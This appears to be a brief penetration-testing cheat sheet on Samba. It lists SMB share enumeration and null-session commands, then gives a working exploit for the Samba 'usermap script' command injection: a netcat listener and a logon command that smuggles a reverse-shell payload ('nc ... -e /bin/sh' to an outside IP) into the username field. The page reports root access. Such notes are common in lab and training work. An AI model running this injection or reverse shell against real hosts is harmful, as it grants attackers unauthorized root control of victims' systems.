SMB Samba
Samba
smbclient -L 10.x.x.x ..list shares
smbclient -H 10.x.x.x ..host detail
rpcclient -U "" 10.x.x.x ..null login attempt
smbclient //10.x.x.x/ADMIN$
smbclient //10.x.x.x/MyShare -U bobUsername attack
> nc -nvlp 1234 ..listener
Send shell metacharacters into the username with a reverse shell payload.
> logon "/=`nohup nc -nv 10.10.14.6 4444 -e /bin/sh`"
> whoami.. root!Samba usermap script
Python2
REF:
Last updated